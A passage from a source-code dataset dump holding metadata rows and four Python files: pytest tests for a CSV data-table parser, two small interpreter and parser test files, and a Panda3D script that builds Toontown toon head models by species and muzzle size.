0), (30, 8, 5, 4): (0, 0), (30, 8, 5, 5): (-1, -1)}
| 118,021.5 | 236,042 | 0.2866 | 60,697 | 236,043 | 1.114553 | 0.000527 | 0.183178 | 0.050067 | 0.010998 | 0.996526 | 0.133511 | 0.091205 | 0.071441 | 0.038197 | 0.024582 | 0 | 0.385777 | 0.257148 | 236,043 | 1 | 236,043 | 236,043 | 0.000034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7ab12ecf60d9be2945374ba5ae81356a0b56e524 | 2,605 | py | Python | tests/test_datatable_parsing.py | jumbrich/pyyacp | b109cbc889ac7f999b773910283268e14db34cb1 | [
"MIT"
] | null | null | null | tests/test_datatable_parsing.py | jumbrich/pyyacp | b109cbc889ac7f999b773910283268e14db34cb1 | [
"MIT"
] | null | null | null | tests/test_datatable_parsing.py | jumbrich/pyyacp | b109cbc889ac7f999b773910283268e14db34cb1 | [
"MIT"
] | null | null | null | import pytest
from pyyacp.datatable import parseDataTables
t1=[['A','B','C'],
['1','2','3'],
['2','3','4']
]
t2=[
['A', 'B'],
['1', '2'],
['2', '3'],
]
testdata=[ t1,t2]
@pytest.mark.parametrize("table", testdata)
def test_simple(table):
csvreader=table
tables = parseDataTables(csvreader)
assert len(tables) ==1
table = tables[0]
assert table.no_cols == len(csvreader[0])
assert table.no_rows == len(csvreader)-1
assert len(table.header_rows) == 1
assert len(table.comment_rows) == 0
t1=[['6','5','1'],
['1','2','3'],
['2','3','4']
]
t2=[
['2', '4'],
['1', '2'],
['2', '3'],
]
testdata=[ t1,t2]
@pytest.mark.parametrize("table", testdata)
def test_simple_noheader(table):
csvreader=table
tables = parseDataTables(csvreader)
assert len(tables) ==1
table = tables[0]
assert table.no_cols == len(csvreader[0])
assert table.no_rows == len(csvreader)
assert len(table.header_rows) == 0
assert len(table.comment_rows) == 0
t1=[
['Comment'],
['6','5','1'],
['1','2','3'],
['2','3','4']
]
t2=[
['Comment'],
['2', '4'],
['1', '2'],
['2', '3'],
]
testdata=[ t1,t2]
@pytest.mark.parametrize("table", testdata)
def test_simple_comment_no_header(table):
csvreader=table
tables = parseDataTables(csvreader)
assert len(tables) == 1
table = tables[0]
assert table.no_cols == len(csvreader[1])
assert table.no_rows == len(csvreader)-1
assert len(table.header_rows) == 0
assert len(table.comment_rows) == 1
def test_two_tables():
csvreader = [
['A', 'B', 'C'],
['1', '2', '3'],
['2', '3', '4'],
['A', 'B'],
['1', '2'],
['2', '3'],
]
tables = parseDataTables(csvreader)
assert len(tables) == 2
table = tables[0]
assert table.no_cols == 3
assert table.no_rows == 2
assert len(table.header_rows) == 1
def test_two_tables_with_comments_empty_line():
csvreader = [
['This is a comment'],
['2', '3', '4'],
['1', '2', '3'],
['2', '3', '4'],
[],
['A', 'B'],
['1', '2'],
['2', '3'],
]
tables = parseDataTables(csvreader)
assert len(tables) == 2
table = tables[0]
assert table.no_cols == 3
assert table.no_rows == 3
assert len(table.header_rows) == 0
assert len(table.comment_rows) == 1
table = tables[1]
assert table.no_cols == 2
assert table.no_rows == 2
assert len(table.header_rows) == 1
assert len(table.comment_rows) == 0
| 20.351563 | 47 | 0.538196 | 344 | 2,605 | 3.965116 | 0.122093 | 0.02346 | 0.11437 | 0.071848 | 0.868768 | 0.868768 | 0.843842 | 0.83871 | 0.83871 | 0.829912 | 0 | 0.055527 | 0.253359 | 2,605 | 127 | 48 | 20.511811 | 0.645758 | 0 | 0 | 0.737864 | 0 | 0 | 0.046467 | 0 | 0 | 0 | 0 | 0 | 0.271845 | 1 | 0.048544 | false | 0 | 0.019417 | 0 | 0.067961 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8f97b18189448e5bf79bc45a6878bec45dad4c92 | 87 | py | Python | PP/Teme/tema1/tests/source/test_41.py | mihai-constantin/ACS | 098c99d82dad8fb5d0e909da930c72f1185a99e2 | [
"Apache-2.0"
] | 1 | 2020-02-16T01:45:57.000Z | 2020-02-16T01:45:57.000Z | source/test_41.py | vladutmargineanu/PyPP-Byterun | 983926cf0e3100174dad9b6f82970b3188b88ae2 | [
"MIT"
] | null | null | null | source/test_41.py | vladutmargineanu/PyPP-Byterun | 983926cf0e3100174dad9b6f82970b3188b88ae2 | [
"MIT"
] | null | null | null | def main():
a = 3
for x in [1, 2, 3]:
a = a + 2
for x in [1, 2, 3, 4]:
x += 1
| 9.666667 | 23 | 0.37931 | 22 | 87 | 1.5 | 0.454545 | 0.242424 | 0.363636 | 0.424242 | 0.545455 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0.192308 | 0.402299 | 87 | 8 | 24 | 10.875 | 0.442308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.166667 | 0 | 1 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8fabfee26364ed2b4bdc4a11f106179a31b9879a | 72 | py | Python | tests/parser/good/operations.py | Nakrez/RePy | 057db55a99eac2c5cb3d622fa1f2e29f6083d8d6 | [
"MIT"
] | 1 | 2020-11-24T05:24:26.000Z | 2020-11-24T05:24:26.000Z | tests/parser/good/operations.py | Nakrez/RePy | 057db55a99eac2c5cb3d622fa1f2e29f6083d8d6 | [
"MIT"
] | null | null | null | tests/parser/good/operations.py | Nakrez/RePy | 057db55a99eac2c5cb3d622fa1f2e29f6083d8d6 | [
"MIT"
] | null | null | null | 1+1
1/1
1*1
1-1
1%1
1//1
1>>1
1<<1
1&1
1 and 1
1 or 1
1**1
-1
+1
~1
1^1
| 4.235294 | 7 | 0.472222 | 31 | 72 | 1.096774 | 0.096774 | 1.529412 | 2.029412 | 2.470588 | 0.794118 | 0.794118 | 0.794118 | 0.794118 | 0.558824 | 0.558824 | 0 | 0.557692 | 0.277778 | 72 | 16 | 8 | 4.5 | 0.096154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
8fb690d5e0a75205dca398f48ef2c116bf93802b | 56,101 | py | Python | ToonHead.py | Toontown-Event-Horizon/Toontown-Toon-Creator | bc7148f1224f7a0881ad0507c4b16c4e3af2748e | [
"MIT"
] | null | null | null | ToonHead.py | Toontown-Event-Horizon/Toontown-Toon-Creator | bc7148f1224f7a0881ad0507c4b16c4e3af2748e | [
"MIT"
] | null | null | null | ToonHead.py | Toontown-Event-Horizon/Toontown-Toon-Creator | bc7148f1224f7a0881ad0507c4b16c4e3af2748e | [
"MIT"
] | 1 | 2022-03-14T19:22:53.000Z | 2022-03-14T19:22:53.000Z | from direct.actor.Actor import Actor
from panda3d.core import NodePath
class ToonHead:
def __init__(self, species, headType, hasEyelashes, gender='m'):
'''Species - what species the toon is
Type - What type of head are we going for (what head type and muzzle type?)
'''
# generateHead creates the specific species head model, generateHeadDetails changes the head size and the muzzle size
if species == 'd':
self.head_model = self.generateHead(species, headType)
else:
self.head_model = self.generateHead(species)
self.generateHeadDetails(self.head_model, species, headType, hasEyelashes)
def generateHead(self, species, headType=None):
'''Generates the head model based on the species. Passes headType and gender to the details function.
Use headType only for dogs.'''
# All the bears
if species == 'b':
headModel = loader.loadModel('phase_3/models/char/bear-heads-1000.bam')
# All the cats
elif species == 'ca':
headModel = loader.loadModel('phase_3/models/char/cat-heads-1000.bam')
# All the crocodiles
elif species == 'cr':
headModel = loader.loadModel('phase_3/models/char/crocodile-heads-1000.bam')
# All the deers
elif species == 'de':
headModel = loader.loadModel('phase_3/models/char/deer-heads-1000.bam')
# All the dogs (WIP)
elif species == 'd' and headType == 'ss':
headModel = loader.loadModel('phase_3/models/char/tt_a_chr_dgm_shorts_head_1000.bam')
elif species == 'd' and headType == 'sl':
headModel = loader.loadModel('phase_3/models/char/tt_a_chr_dgs_shorts_head_1000.bam')
elif species == 'd' and headType == 'ls':
headModel = loader.loadModel('phase_3/models/char/tt_a_chr_dgm_skirt_head_1000.bam')
elif species == 'd' and headType == 'll':
headModel = loader.loadModel('phase_3/models/char/tt_a_chr_dgl_shorts_head_1000.bam')
# All the ducks
elif species == 'du':
headModel = loader.loadModel('phase_3/models/char/duck-heads-1000.bam')
# All the horses
elif species == 'h':
headModel = loader.loadModel('phase_3/models/char/horse-heads-1000.bam')
# All the monkeys
elif species == 'mo':
headModel = loader.loadModel('phase_3/models/char/monkey-heads-1000.bam')
# All the mice
elif species == 'mi':
headModel = loader.loadModel('phase_3/models/char/mouse-heads-1000.bam')
# All the pigs
elif species == 'p':
headModel = loader.loadModel('phase_3/models/char/pig-heads-1000.bam')
# All the rabbits
elif species == 'r':
headModel = loader.loadModel('phase_3/models/char/rabbit-heads-1000.bam')
# If someone wants riggy.
elif species == 'ri':
headModel = loader.loadModel('phase_3/models/char/tt_a_chr_rgy_shorts_head_1000.bam')
else:
print("Your head type doesn't exist in ToonHead.py")
return headModel
def generateHeadDetails(self, headModel, species, head_type, has_eyelashes):
'''Based on the species and head type and gender, changes the head detail'''
toonType = species + head_type # toonType is a string, basically returns something like "cls" or "cals"
# Bears
if toonType == 'bls': # Big Head, Small Muzzle
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'bll': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'bsl': # Small Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'bss': # Small Head, Small Head
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Cats
elif toonType == 'cals': # Big Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'call': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'casl': # Small Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'cass': # Small Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Crocodiles
elif toonType == 'crls': # Big Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'crll': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'crsl': # Small Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'crss': # Small Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/ears-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Deers
elif toonType == 'dels': # Big Antlers, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/antlers-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
headModel.find('**/nose-long').hide()
# All the stuff we show
headModel.find('**/antlers-long').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
headModel.find('**/nose-short').show()
elif toonType == 'dell': # Big Antlers, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/antlers-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
headModel.find('**/nose-short').hide()
# All the stuff we show
headModel.find('**/antlers-long').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-long-neutral').show()
headModel.find('**/nose-long').show()
elif toonType == 'desl': # Small Antlers, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/antlers-long').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
headModel.find('**/nose-short').hide()
# All the stuff we show
headModel.find('**/antlers-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-long-neutral').show()
headModel.find('**/nose-long').show()
elif toonType == 'dess': # Small Antlers, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/antlers-long').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
headModel.find('**/nose-long').hide()
# All the stuff we show
headModel.find('**/antlers-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/ears-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
headModel.find('**/nose-short').show()
# Ducks
elif toonType == 'duls': # Big Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'dull': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'dusl': # Small Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'duss': # Small Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-long').hide()
headModel.find('**/head-front-long').hide()
headModel.find('**/eyes-long').hide()
headModel.find('**/joint_pupilL_long').hide()
headModel.find('**/joint_pupilR_long').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-short').show()
headModel.find('**/head-front-short').show()
headModel.find('**/eyes-short').show()
headModel.find('**/joint_pupilL_short').show()
headModel.find('**/joint_pupilR_short').show()
headModel.find('**/muzzle-short-neutral').show()
# Horses
elif toonType == 'hls': # Big Head, Small Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-long*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-short-surprise').hide()
headModel.find('**/muzzle-short-sad').hide()
headModel.find('**/muzzle-short-smile').hide()
headModel.find('**/muzzle-short-angry').hide()
headModel.find('**/muzzle-short-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-short-neutral').show()
elif toonType == 'hll': # Big Head, Big Muzzle
# All the stuff we hide
muzzleToRemove = headModel.findAllMatches('**/muzzle-short*')
for piece in muzzleToRemove:
piece.hide()
headModel.find('**/head-short').hide()
headModel.find('**/head-front-short').hide()
headModel.find('**/ears-short').hide()
headModel.find('**/eyes-short').hide()
headModel.find('**/joint_pupilL_short').hide()
headModel.find('**/joint_pupilR_short').hide()
headModel.find('**/muzzle-long-surprise').hide()
headModel.find('**/muzzle-long-sad').hide()
headModel.find('**/muzzle-long-smile').hide()
headModel.find('**/muzzle-long-angry').hide()
headModel.find('**/muzzle-long-laugh').hide()
# All the stuff we show
headModel.find('**/head-long').show()
headModel.find('**/head-front-long').show()
headModel.find('**/ears-long').show()
headModel.find('**/eyes-long').show()
headModel.find('**/joint_pupilL_long').show()
headModel.find('**/joint_pupilR_long').show()
headModel.find('**/muzzle-long-neutral').show()
elif toonType == 'hsl': # Small Head, Big Muzzle
# All the stuff we hide
